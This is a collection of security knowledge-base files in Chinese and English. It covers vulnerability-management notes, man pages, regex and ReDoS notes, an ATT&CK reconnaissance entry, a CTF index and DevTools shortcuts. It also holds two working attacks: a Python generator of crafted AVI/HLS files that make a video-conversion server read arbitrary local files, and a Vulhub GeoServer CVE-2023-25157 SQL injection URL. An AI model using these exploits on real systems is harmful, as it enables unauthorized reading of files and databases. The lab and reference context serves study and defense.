企业内部需要对漏洞有一个清晰的整理归档来作为数据纬度展示公司安全发展的状态。安全测试人员发现漏洞需要邮件给业务方,并且需要使用Excel来总结,当测试人员很多时,还需要做一个汇总,这些都会造成更多的不便。
解决方案:漏洞管理平台需要对不同时间段提交的不同漏洞等级进行数据量化。
* **同一个业务团队负责的产品中多次出现同样的漏洞**
解决方案:业务团队自身的不断整理与总结,安全团队对业务团队进行安全培训(可以结合在SDL中进行)。
* **漏洞审核人力DoS**
如果企业在一些类似SRC的平台,由于目前白帽子水平层次不齐,经常会提交一些bug作为漏洞,或者故意提高漏洞等级,SRC平台在处理这些时与白帽子发生争执产生的人力消耗。
解决方案:待解决
## 漏洞管理的思考
### 安全漏洞生命周期的理解
[原文地址](https://mp.weixin.qq.com/s/OtnQJRr-zOCAXVrEqTqevA)
**备注:本节内容引用自安全漏洞生命周期的理解,非原创**
* **从产品角度理解安全漏洞生命周期**
```
漏洞发现:通过人工或者自动化等方式分析、挖掘出漏洞的过程,并且该漏洞可以被验证和重现;
漏洞利用:利用漏洞对计算机信息系统的保密性、完整性和可用性造成损害的过程;
漏洞修复:通过补丁、升级版本或配置策略等对漏洞进行修补的过程,使得该漏洞不能够被恶意主题所利用;
漏洞公开:通过公开渠道(如:网站、邮件列表等);
```
* **从信息系统角度理解安全漏洞生命周期**
```
漏洞识别:通过自身测试、监控、外部第三方通报、客户投诉等方式,获知漏洞的存在;
漏洞评估:通过自身测试、监控、外部第三方通报、客户投诉等方式,获知漏洞的存在;
漏洞通报:安全管理者将漏洞信息和修复建议内部通报给信息系统维护/应用/开发等相关人员;
漏洞测试:信息系统相关人员对系统漏洞修补进行测试;
漏洞修复:信息系统相关人员对系统漏洞进行修复;
漏洞回退:漏洞的修复若影响业务,对修复进行回退,多方重新对漏洞进行评估,甚至接受该漏洞;
```
* **从安全攻防角度理解安全漏洞生命周期**
```
漏洞研究与挖掘:利用源代码审核(白盒测试)、逆向工程(灰盒测试)、Fuzz测试(黑盒测试)、流量分析(黑盒测试)等方法;
POC/EXP开发与测试:开发概念验证性渗透攻击代码(POC)或漏洞攻击利用代码(EXP),并测试漏洞是否可被利用;
通报厂商或小规模流传:白帽子通知厂商进行修补,给出补丁后公布;黑帽子在封闭小规模团队共享流传;
漏洞扩散:漏洞POC或EXP代码在互联网上公布,大众黑帽子快速掌握、应用和传播扩散;
攻击工具/恶意程序传播:开发出自动化攻击工具/恶意程序,在互联网进行传播。厂商完成补丁程序开发和测试并进行发布;
大规模传播:厂商发布补丁程序和安全警报,渗透代码/恶意程序大规模传播危害互联网;
漏洞/攻击代码逐渐消亡:在厂商补丁程序广泛应用后,相应的漏洞渗透代码/恶意程序逐渐抛弃从而消亡;
```
### 我的一些思考
对于企业,我们应该关注与企业内部相关,甚至关注我们所使用的产品、服务相关的漏洞。从漏洞爆发、漏洞传播、漏洞利用工具传播到漏洞修复整个流程中,我们应该思考如下几个问题:
```
如何快速获取漏洞情报:爬虫、情报群、社区网站等;
漏洞情报如何评估影响:公司内有多少业务受到影响;
漏洞利用爆发时的解决方案:漏洞详情是否有给出临时解决方案;没有临时解决方案如何控制风险;
漏洞修复时的风险评估:修复方案对业务影响是否可以接受;
漏洞修复完成如何做到持续监控:防止漏洞的重复出现;
```
* **乙方产品的漏洞生命周期管理**
* **开源产品的漏洞生命周期管理**
## 参考资料
[甲方企业漏洞管理活动的50个痛点总结](https://mp.weixin.qq.com/s/PbQKGiXRVFp9jmvFwDUrTA)
[漏洞管理的定义与最佳实践](https://www.aqniu.com/learn/39198.html)
[The Five Stages of Vulnerability Management](https://www.tripwire.com/state-of-security/vulnerability-management/the-five-stages-of-vulnerability-management/)
[基于DREAD模型的漏洞等级计算](https://mp.weixin.qq.com/s/-gHMhj1Qdl1N5rCne61m4Q)
### 开源漏洞管理系统
[SRCMS](https://github.com/martinzhou2015/SRCMS)
[洞察](https://github.com/creditease-sec/insight)
[defectdojo](https://github.com/DefectDojo/django-DefectDojo)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH PATHCHK 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
pathchk \- 检查文件名是否合法或可移植
.SH 概述
\fBpathchk\fP [\fI\,选项\/\fP]... \fI\,文件名\/\fP...
.SH 描述
.\" Add any additional description here
.PP
诊断不合法或没有移植性的文件名。
.TP
\fB\-p\fP
针对大多数 POSIX 系统进行检查
.TP
\fB\-P\fP
检查空文件名和起始的“\-”
.TP
\fB\-\-portability\fP
针对所有 POSIX 系统进行检查(等价于 \fB\-p\fP \fB\-P\fP)
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Paul Eggert、David MacKenzie 和 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见:<https://www.gnu.org/software/coreutils/pathchk>
.br
或者在本地使用: info \(aq(coreutils) pathchk invocation\(aq
|
sec-knowleage
|
# regex
<p align="center">
<img src="../../../assets/img/banner/regex.jpg" width="58%">
</p>
---
**在线工具**
- **正则测试**
- http://tool.chinaz.com/regex/
- https://tool.oschina.net/regex
- **正则分析**
- https://regex101.com/
- https://regexr.com/
- https://regexper.com/
- https://ihateregex.io/
- https://www.sojson.com/regex/generate
- https://jex.im/regulex/#!flags=
**表达式资源**
- [cdoco/common-regex](https://github.com/cdoco/common-regex)
---
## 常用正则表达式
手机号
```re
^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$
```
Ipv4
```re
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}
```
Ipv6
```re
(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))
```
email
```re
[^@ \t\r\n]+@[^@ \t\r\n]+\.[^@ \t\r\n]+
```
---
## 正则表达式引擎
正则表达式引擎分成两类:一类称为 DFA(确定性有限状态自动机),另一类称为 NFA(非确定性有限状态自动机)。
两类引擎要顺利工作,都必须有一个正则式和一个文本串,一个捏在手里,一个吃下去。
**举个例子**
现在有个文本为: perlmanbook ,一个正则表达式为 `/perl|perlman/` ,而这个正则表达式在两种引擎下的匹配结果我们可以看下。
首先是 DFA 引擎的情况下,它是以文本为导向,针对正则从左开始进行扫描,当扫描到 `/p/` 的时候,发现匹配的上了,然后继续往下匹配,当将第一个子正则 `/perl/` 全部匹配上之后,这时候就会把这个正则甩开,去吃第二个子正则式的 `/p/` 。这一吃好了,因为又匹配上了,于是接着往下吃。直到把正则式吃完,心满意足往上报告说成功匹配了 *‘perlman’ *。
若是 NFA,它是以正则为导向,比如第一个子正则表达式为 `/perl/` ,而该引擎针对 perlmanbook 字符串进行扫描,从左开始,当进度进行到 perl manbook 的时候,最开始部分的 perl 已经和第一个子正则表达式匹配而上,而当引擎进度扫描到 m 字符的时候,发现与第一个子正则表达式不匹配,于是把 m 吐出来,向上汇报说成功匹配 perl ,不再关心其他,也不尝试第二个子正则式 `/perlman/` 。
也就是说我们可以总结一下,NFA 引擎要翻来覆去吃字符、吐字符,速度慢,且可能会陷入递归险境导致性能极差。因此使用 NFA 引擎的正则表达式就可能出现 ReDOS 的问题。
### DFA
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
DFA 按文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注。
- DFA 对于文本串里的每一个字符只需扫描一次,比较快,但特性较少;
- DFA则是“最长的左子正则式优先匹配成功”。
---
### NFA
从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
NFA 是按着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:“某年某月某日在某处匹配上了!”,然后接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方。
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
- NFA 应用广泛,当今主要的正则表达式引擎,如 Perl、Ruby、Python 的 re 模块、Java 和. NET 的 regex 库,都是 NFA 的。
- 只有 NFA 才支持 lazy 和 backreference 等特性;
- NFA 追求速度,所以最左子正则式优先匹配成功,因此偶尔会错过最佳匹配结果;
- NFA 缺省采用 greedy 量词
- NFA 可能会陷入递归调用的陷阱而表现得性能极差。
---
## 正则生成
**相关文章**
- https://houbb.github.io/2021/09/05/Generex
**相关工具**
- [asciimoo/exrex](https://github.com/asciimoo/exrex) - Irregular methods on regular expressions
---
## Source & Reference
- [正则表达式](https://zh.wikipedia.org/wiki/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F)
- [ReDOS初探](http://www.lmxspace.com/2019/02/16/ReDOS%E5%88%9D%E6%8E%A2/)
|
sec-knowleage
|
import struct
import argparse
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
def make_txt_packet(content, fake_packets=50, fake_packet_len=200):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len
return packet + dcpkt * fake_packets
TXT_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
#EXT-X-BYTERANGE: 0
{txt}
#EXTINF:1.0,
{file}
#EXT-X-ENDLIST"""
def prepare_txt_packet(txt, filename):
return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode())
# TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt']
if __name__ == "__main__":
parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')
parser.add_argument('filename', help='file that should be read from convertion instance')
parser.add_argument('output_avi', help='where to save the avi')
parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt')
args = parser.parse_args()
avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)
|
sec-knowleage
|
.TH inetd 8 "" "UNIX系统管理员手册" ""
.SH NAME
\fBinetd\fR - 因特网“超级服务”
.SH "总览"
\fBinetd\fR - [ -d ] [ -q 队列长度 ] [ 配置文件名 ]
.SH "描述"
inetd通常在系统启动时由/etc/rc.local引导。inetd会监听指定internet端口是否有连接要求。当发现有某个端口有连接要求时,inetd将决定由哪个服务器进程来响应该连接要求,并调用该服务器程序。当程序运行结束后,inetd会继续对该端口进行监听(除了以下所涉及的原因)。从本质上讲,inetd可以只运行一个守护进程,该守护进程可以在需要时调用其它服务进程,从而减轻系统负担。
.SH 选项
.LP
inetd的可用选项:
.TP
-d
打开调试功能。
.TP
-q
队列长度
设置端口监听队列的长度值,默认值为128。
.SH 说明
.LP
在运行时,inetd会读取它的配置文件,默认为/etc/inetd.conf。该配置文件的每一个栏都有一个条目,栏中每一项由空格或制表符进行分隔。以井号开头的是注释文本。其格式如下所示:
.TP
service name
服务名
.TP
socket type
接口类型
.TP
protocol
协议名
.TP
wait/nowait[.max]
等待/不等待
.TP
user[.group]
用户/组
.TP
server program
服务器程序
.TP
server program arguments
服务器程序参数
.LP
如果定义的是基于Sun-RPC的服务,则将包含有以下内容:
.TP
service name/version
服务名
.TP
socket type
接口类型
.TP
rpc/protocol
协议名
.TP
wait/nowait[.max]
等待/不等待
.TP
user[.group]
用户/组
.TP
server program
服务器程序
.TP
server program arguments
服务器程序参数
.LP
服务名指的是一个在文件/etc/services中有定义的合法服务。相对局域网而言(下面讨论),服务名须为该服务的官方名称(即,处于文件 /etc/services中的第一行)。当定义一个基于Sun-RPC的服务时,此栏内容须是一个在文件/etc/rpc中有定义的合法服务名。在斜械右侧的是RPC的版本号。此版本号可以是一个单一数字,也可以是一个从低到高的版本范围,如:“rusers/1-3”。
.LP
接口类型则是“stream”、“dgram”、“raw”、“rdm”或“seqpacket”中的一个,这取决于其数据的类型是什么。
.LP
协议名须是在文件/etc/protocols中有定义的合法协议。例如:“tcp”或“udp”。基于RPC的服务可以定义为:“rpc/tcp”或“rpc/udp”。
.LP
等待/不等待栏仅当定义接口类型为datagram时有效(其它接口在这里都使用“不等待”)。如果希望一个数据包到达它的同侪后,服务器立刻释放端口,使inetd可以继续监听此端口,即称为“多线程服务”,此时该栏须设为“不等待”。如果服务器都在一个端口传输数据包而且不会将此端口释放,则称此为“单一线程”,此时应设此栏为“等待”。Comsat(8)和talkd(8)是后一种数据类型的应用。Tftpd(8)则是一个例外,此数据服务建立的是一个虚拟的连接,为了避免竞争,此处应设为“等待”。服务器读在取第一个数据包后,重新建立一个新的接口供inetd继续提供监听使用,而旧的接口将在处理完该任务后将自动中断。可选项后缀“max”(与“等待”可“不等待”用逗号分隔)定义inetd在60秒内提供服务的最大进程数,缺省值为 40。
.LP
用户栏应包含可以使用该服务程序用户的用户名。此选项充许赋于inetd服务器程序低于root的权限。可以在用户名后用逗号分隔加上组名称,此选项可以使inetd在运行时以所定义的组身份运行而非/etc/password文件中定义的身份。如果在此定义了组名而所定义的用户名不是root 时,该用户所在组的名字将自动附加到此处。
.LP
服务器程序栏应包含全路径的服务器程序名,inetd在监听到某套接字上有请求时会调过该服务器程序。如果某服务由inetd内部提供,则此处应填“internal”。
.PP
服务器程序参数栏中应包含所有服务器程序运行时必须的各参数。如果服务程序由inetd内部提供,则此处应填“internal”。
.PP
inetd通过内部常规工作,自身也提供一些小的服务。这些服务有 “echo”、“discard”、“chargen”、“daytime”(人类语言)和“time”(以秒为单位的机器语言,从1900年1月1日零时开始计时)。所有这些服务都是基于tcp的。如想更深一步了解这些服务,可以从网上获得相关RFC文档。
.PP
inetd在接收到SIGHUP挂起信号后会重新读取其配置文件。在重读配置文件后,可能增加、减少或改变已有的服务。inetd在运行时会创建一个/var/run/inetd.pid的文件用来存放它的进程号。
.SH 另见 SEE ALSO
.PP
comsat(8), fingerd(8), ftpd(8), rexecd(8), rlogind(8), rshd(8), lnetd(8), tftpd(8)
.SH 历史 HISTORY
\fBinetd\fR 命令最早出现在4.3BSD中。对基于Sun-RPC的服务支持从SunOS 4.1开始。
.SH "[中文版维护人]"
.B 所罗门 <solomen@email.com.cn>
.SH "[中文版最新更新]"
.BR 2000/11/21
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
---
title: 查看版本信息
---
## 查看版本信息
使用 `version` 命令可以查看 CF 的当前版本信息以及更新时间。
```bash
cf version
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年9月7日"
}
}
</script>
|
sec-knowleage
|
# T1592-001-收集目标组织主机信息-硬件信息
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可能会收集有关受害者主机硬件的信息,这些信息可以在目标定位期间使用。有关硬件基础设施的信息可能包括各种详细信息,例如特定主机上的类型和版本,以及是否存在可能指示附加防御保护措施的其他组件(例如:卡/生物识别器,专用加密硬件等)。
攻击者可以通过各种方式收集此信息,例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)(例如:主机名,服务器旗标,用户代理字符串)、 [钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。攻击者还可能入侵站点,然后植入旨在收集访问者主机信息的恶意内容(引自:ATT ScanBox)。有关硬件基础设施的信息也可能通过在线或其他可访问的数据集(例如:职位发布,网络地图,评估报告,履历表或购买发票)暴露给攻击者。收集这些信息可能为其他形式的侦察提供可能性(例如:[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593),或[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[攻击硬件供应链](https://contribute.knowledge.qihoo.net/detail/technique/T1195/003)或[硬件添加](https://contribute.knowledge.qihoo.net/detail/technique/T1200))。
## 测试案例
个人理解:可收集目标组织所使用的的摄像头型号以及其他物联网设备信息。
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。
检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。
## 关联TIP
[[T1592-002-收集目标组织主机信息-软件信息]]
[[T1592-004-收集目标组织主机信息-客户端配置]]
[[T1592-003-收集目标组织主机信息-固件信息]]
## 参考推荐
MITRE-ATT&CK-T1592-001
<https://attack.mitre.org/techniques/T1592/001/>
|
sec-knowleage
|
# N1 CTF 2018
Team: borysp, nazywam, eternal, chivay, shalom, ppr, pwn.m0d3, akrasuski1, msm, sasza
### Table of contents
* [Patience (re)](re_patience)
* [Mathgame (ppc)](ppc_mathgame)
* [rsa padding (crypto)](crypto_rsapadding)
|
sec-knowleage
|
---
title: Chrome Developer Tools
date: 2022-11-23 16:23:31.696017
background: bg-[#c64d3e]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 56 keyboard shortcuts found in Chrome's Developer Tools
---
Keyboard Shortcuts
------------------
### Opening DevTools
Shortcut | Action
---|---
`Ctrl` `Shift` `I` | Open whatever panel you used last
`Ctrl` `Shift` `J` | Open the Console panel
`Ctrl` `Shift` `C` | Open the Elements panel
{.shortcuts}
### Global Shortcuts {.row-span-2}
Shortcut | Action
---|---
`F1` | Show Settings
`Ctrl` `]` | Focus the next panel
`Ctrl` `[` | Focus the previous panel
`Ctrl` `Shift` `D` | Switch back to whatever docking position you last used
`Ctrl` `Shift` `M` | Toggle Device Mode
`Ctrl` `Shift` `C` | Toggle Inspect Element Mode
`Ctrl` `Shift` `P` | Open the Command Menu
`Esc` | Toggle the Drawer
`Ctrl` `R` | Normal reload
`Ctrl` `Shift` `R` | Hard reload
`Ctrl` `F` | Search for text within the current panel
`Ctrl` `Shift` `F` | Opens the Search tab in the Drawer
`Ctrl` `P` | Open a file in the Sources panel
`Ctrl` `Shift` `+` | Zoom in
`Ctrl` `-` | Zoom out
`Ctrl` `0` | Restore default zoom level
`Ctrl` `O` `!` | Run snippet
{.shortcuts}
### Elements Panel
Shortcut | Action
---|---
`Ctrl` `Z` | Undo change
`Ctrl` `Y` | Redo change
`Up/Down` | Select the element above or below the currently-selected element
`Right` | Expand the currently-selected node
`Left` | Collapse the currently-selected node
`Enter` | Toggle Edit Attributes mode on the currently-selected element
`Tab` | Select the next attribute after entering Edit Attributes mode
`Shift` `Tab` | Select the previous attribute after entering Edit Attributes mode
`H` | Hide the currently-selected element
`F2` | Toggle Edit as HTML mode on the currently-selected element
{.shortcuts}
### Sources Panel
Shortcut | Action
---|---
`Ctrl` `\` | Pause script execution (if running), or resume (if paused)
`Ctrl` `'` | Step over next function call
`Ctrl` `;` | Step into next function call
`Ctrl` `Shift` `;` | Step out of current function
`Ctrl` `./,` | Select the call frame below or above the currently-selected frame
`Ctrl` `S` | Save changes to local modifications
`Ctrl` `Alt` `S` | Save all changes
`Ctrl` `G` | Go to line
`Alt` `W` | Close the active tab
{.shortcuts}
### Code Editor
Shortcut | Action
---|---
`Ctrl` `Del` | Delete all characters in the last word, up to the cursor
`Ctrl` `M` | Go to matching bracket
`Ctrl` `/` | Toggle single-line comment
`Ctrl` `D` | Select the next occurrence of whatever word the cursor is on
`Ctrl` `U` | Deselect the next occurrence of whatever word the cursor is on
{.shortcuts}
### Performance Panel
Shortcut | Action
---|---
`Ctrl` `E` | Start or stop recording
`Ctrl` `S` | Save recording
`Ctrl` `O` | Load recording
{.shortcuts}
### Memory Panel
Shortcut | Action
---|---
`Ctrl` `E` | Start or stop recording
{.shortcuts}
### Console Panel
Shortcut | Action
---|---
`Tab` | Accept autocomplete suggestion
`Esc` | Reject autocomplete suggestion
`Up` | Get previous statement
`Down` | Get next statement
`Ctrl` <code>\`</code> | Focus the Console
`Ctrl` `L` | Clear the console
`Shift` `Enter` | Force a multi-line entry
`Enter` | Execute
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/shortcuts) _(developers.google.com)_
|
sec-knowleage
|
# GeoServer OGC Filter SQL Injection (CVE-2023-25157)
[中文版本(Chinese version)](README.zh-cn.md)
GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.
In the version prior to 2.22.1 and 2.21.4, there is a SQL injection issue that was found in the filter and function expressions defined by the Open Geospatial Consortium (OGC) standards.
References:
- <https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158>
- <https://github.com/advisories/GHSA-7g5f-wrx8-5ccf>
## Vulnerable environment
Execute following command to start a GeoServer instance 2.22.1:
```
docker compose up -d
```
After the server is started, you can browse the default page of GeoServer at `http://your-ip:8080/geoserver`.
## Exploit
First of all, you have to find a existing workspace that contains PostGIS datastore before you exploit the vulnerability. Vulhub's GeoServer instance already have a PostGIS datastore:
- Workspace name: `vulhub`
- Data store name: `pg`
- Feature type (table) name: `example`
- One of attribute from feature type: `name`
Exploit the server by this simple URL:
```
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
```

As you can see, the version of PostgreSQL has been retrieved from GeoServer by SQL injection.
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: foreach.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: foreach.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
